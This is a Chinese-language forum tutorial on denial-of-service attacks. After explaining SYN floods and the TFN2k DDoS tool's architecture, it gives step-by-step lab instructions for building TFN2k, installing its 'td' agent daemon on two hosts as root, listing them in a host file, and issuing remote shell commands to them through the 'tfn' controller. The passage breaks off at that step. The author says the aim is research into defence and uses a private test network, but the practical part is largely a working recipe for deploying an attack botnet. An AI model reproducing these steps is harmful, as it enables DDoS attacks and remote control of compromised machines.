By lanf, 出處:http://www.linuxaid.com.cn/forum/
By wjpfjy From LinuxAID Forum
首先,我寫這篇文章的目的,並不是我想成為什麼hacker之類,而且我不並不鼓勵任何人利用它來做一些有損他人的事情,我只是想多一些人關注網絡安全,共同研究並防御DOS。因為我是深受其害:(,所以,這篇文章僅用於技術參考,供大家研究DDOS防御之用。如果你利用它來做一些不合法的事情,那結果與我無關。
拒絕服務攻擊(DOS,Denial Of Service)可以指任何使服務不能正常提供的操作。如軟件bug,操作失誤等。不過現在因為失誤操作而造成的dos,可能性非常小,更多的是惡意的攻擊行為。現在拒絕服務攻擊早已演變為分布式拒絕服務攻擊(DDOS,Distributed Denial Of Service),利用更多的代理集中攻擊目標,其危害更大。
我們大家都知道tcp/ip協議現在已經成為整個internet框架協議,可以說,如果沒有tcp/ip,至少internet不會像現在這樣普及,甚至不可能會有internet。但凡事皆有兩面性,tcp/ip使我們大家受益,同時因為協議本身構造的問題,它也成為別人攻擊我們的工具。我們以tcp三握手建立連接的過程來說明。
一、tcp syn flood
1.客戶端(client)發送一個包含SYN(synchronize)的tcp包至服務器,此數據包內包含客戶端端口及tcp序列號等基本信息。
2.服務器(server)接收到SYN包之後,將發送一個SYN-ACK包來確認。
3.客戶端在收到服務器的SYN-ACK包之後,將回送ACK至服務器,服務器如接收到此包,則TCP連接建立完成,雙方可以進行通訊(感覺像,一拜天地...二拜高堂...送入洞房...哈哈)
問題就出在第3步,如果服務器收不到客戶端的ACK包,將會等待下去,這種狀態叫做半連接狀態。它會保持一定時間(具體時間不同操作系統不同),如果SYN請求超過了服務器能容納的限度,緩沖區隊列滿,那麼服務器就不再接收新的請求了,其他合法用戶的連接都被拒絕掉。這種攻擊往往事半' 罪'倍,殺傷力超強。
當然,DOS攻擊的方法多種多樣,如:UDP flood,ICMP/Ping,ICMP/SMURF...,具體原理的介紹大家可以到 http://www.chinaitlab.com/www/special/ciwddos.asp去看看,有很詳細的原理及常用攻擊軟件介紹。不過說到DOS攻擊軟件,最具代表的莫過於tfn2k (Tribe Flood Network 2000),其作者是德國大名鼎鼎的mixter(其主頁http://mixter.void.ru/papers.html),好像最近正在埋頭搞什麼tfn3k,哎~~,不知道又有多少人寢食難安了...
二.tfn2k攻擊原理
1.tfn2k的攻擊體系。
tfn2k應該算是DDOS攻擊中的代表作,其所能實現的功能讓人瞠目結舌,歎為觀止...(對它的敬畏有如滔滔江水,延續不絕...)來看看它的架構。
主控端---運行tfn客戶端,來遙控並指定攻擊目標,更改攻擊方法.(罪大惡極)
代理端---被植入並運行td進程的犧牲品,接受tfn的指揮,攻擊的實施者.需要注意的是,一個攻擊者,往往控制多台代理來完成攻擊,而且其系統多為unix,linux等.(可憐的犧牲品)
目標主機---被攻擊的主機或網絡,曾經被DDOS的有Yahoo、Amazon、CNN、e-bay等.(最大的受害者,郁悶如我)
2.tfn2k特性。
◆ 主控端通過TCP、UDP、ICMP或隨機性使用其中之一(默認.隨機)的數據包向代理端主機發送命令,攻擊方法包括TCP/SYN、UDP、ICMP/PING、混合攻擊、TARGA3等。
◆ 主控端與代理端的通訊采取單向,即主控端只向代理端發送命令,並且會采取隨機的頭信息,甚至虛擬的源地址信息,代理端不會逆向向主控端發送任何信息.
◆ 所有命令經過CAST-256算法加命,其關鍵字即編譯程序時的輸入的口令.並且這個口令做為唯一認證憑證.
◆ 利用td進程,主控端可以遠程執行shell命令.
◆ td進程的名稱可以在編譯時更改,更便於隱藏.
◆ tfn可以編譯運行於win32及linux系統的.
...
至於偽造源IP地址等功能,更是基本功能,並且其與老版本的tfn相比,它的發包效率更高,我自已的測試,在短短不到5分鐘,兩台代理機,使我的redhat linux 9.0系統癱瘓.
三.tfn2k 實戰測試
1.測試環境:
軟件:redhat linux 9.0
硬件平台:
master:
IP: 192.168.0.6
PIV2.4/256*2/rtl8139
Ag1 :
IP: 192.168.0.2
PIV2.4/256*/rtl8139
AG2 : IP: 192.168.0.3
pIV2.6/512*2/3c905
AIM: 192.168.0.5
pIV2.66c/512*2/3c905
switch: D_link des 1024R
1.下載tfn2k.tgz(因為此軟件非比尋常,所以我並不提供下載地址,如果有興趣,自已到網上找吧)
2.解壓: tar zxvf tfn2k.tgz
3.修改文件
A. src/Makefile 如果你的系統是linux系統,不需要做任何修就可以,如果是win32系統,請將
# Linux / *BSD* / Others
CC = gcc
CFLAGS = -Wall -O3
CLIBS =
這幾行注釋掉,並將
# Win32 (cygwin)
#CC = gcc
#CFLAGS = -Wall -DWINDOZE -O2
#CLIBS =
這幾行的注釋去掉.因為我的測試系統為redhat linux 9.0所以並未做任何修改.
B. src/config.h ,默認的就可以用,如果感興趣,可以照其注釋信息進行調整。
C. src/ip.h 這裡要做一些修改,否則編譯會有錯誤,發生重復定義。
/*struct in_addr
{
unsigned long int s_addr;
};*/
注意啊~~我可是將它放在"/* */"之間,也就是注釋掉了:)
D.更改編譯器:
因為tfn2k支持的是egcs-1.1.2-30,而redhat linux9.0所包含的是gcc-3.2.2-5,所以如果不替換掉gcc,tfn2k是編譯不過去的.需要注意的是,更改之後,有可能會造成基於gcc3.2.2的軟件編譯不去,請謹慎而行.
方法很簡單的,找到一張redhat linux 6.2安裝盤,將egcs-1.1.2-30.rpm、cpp-1.1.2-30.rpm拷到~/
cd /mnt/cdrom/Redhat/RPMS
cp egcs-1.1.2-30* cpp-1.1.2-30* ~/
安裝cpp rpm -Uvh --nodeps --oldpackage cpp-1.1.2-30.i386.rpm
安裝egcs rpm -Uvh egcs-1.1.2-30.i386.rpm
(如果提示有誤,用nodeps、oldpackages、ignoreos等參數忽略過去就是了)
4.編譯tfn2k
cd tfn2k/src
make
首先會談出一個聲明,你必須接受,之後會提示輸入8-32位密碼,前邊提到過,這是唯一的認證憑證,會被分發於td進程中,所以一定要記牢噢~。
編譯通過後,會產生td及tfn,這就是大名鼎鼎的tfn2k啦~,td是守護進程,用來安裝在代理中的,而tfn就是控制端.
5.安裝td.
將td上傳到我的兩台代理,ag1(192.168.0.2)和ag2(192.168.0.3) ,因為我只不過測試,所以用的是合法的root來上傳並執行td進程的,如果真要找到並安裝一個代理,你可能得費點兒神,因為沒有一個管理員會說 “come on baby ~~.我給你root,來安裝td做代理吧”
[root@test /] ftp 192.168.0.2
Connected to 192.168.0.2.
530 Please login with USER and PASS.
530 Please login with USER and PASS.
Name (192.168.0.2:root): wjpfjy
331 Please specify the password.
Password:
230 Login successful. Have fun.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put td (上傳td)
local: td remote: td
227 Entering Passive Mode (192,168,0,3,198,225)
553 Could not create file.
ftp> by (退出ftp)
221 Goodbye.
[root@test /]ssh 192.168.0.2
//登陸到ag1 以執行td ,注意,我用的是root帳戶,這樣才有足夠的權限來執行它.
[email protected]'s password:
Last login: Tue Feb 24 06:51:13 2004
[root@ ag1 /]find / -name td -print
//找到剛上傳過來的文件td.
[root@ ag1 wjpfjy/]chmod a+x td
//使之具有執行權限.
[root@ ag1 wjpfjy/]./td
//運行td ,這樣你就擁有一個代理了,它會對你唯命是從的:(。
用同樣的方法在ag2 (192.168.0.3)上安裝並運行TFN2k進程td.
6.攻擊開始(悲慘的回憶上演中...)
回到master(192.168.0.6 ),准備演練...
[root@master root]#touch host.txt
//建立代理記錄文件(因為如果你足夠無聊的話,有可能會建立很多的肉雞-
//代理,不記下會忘記的噢.)
[root@master root]echo "192.168.0.2" > host.txt 將執行過td的ag1加入host.txt。
[root@master root]echo "192.168.0.3" >> host.txt 添加ag2到host.txt .
先來測試一下鏈接。
[root@master root]./tfn -f host.txt -c 10 -i "mkdir wjpfjy" 與host.txt中的代理通訊,讓其執行命令mkdir wj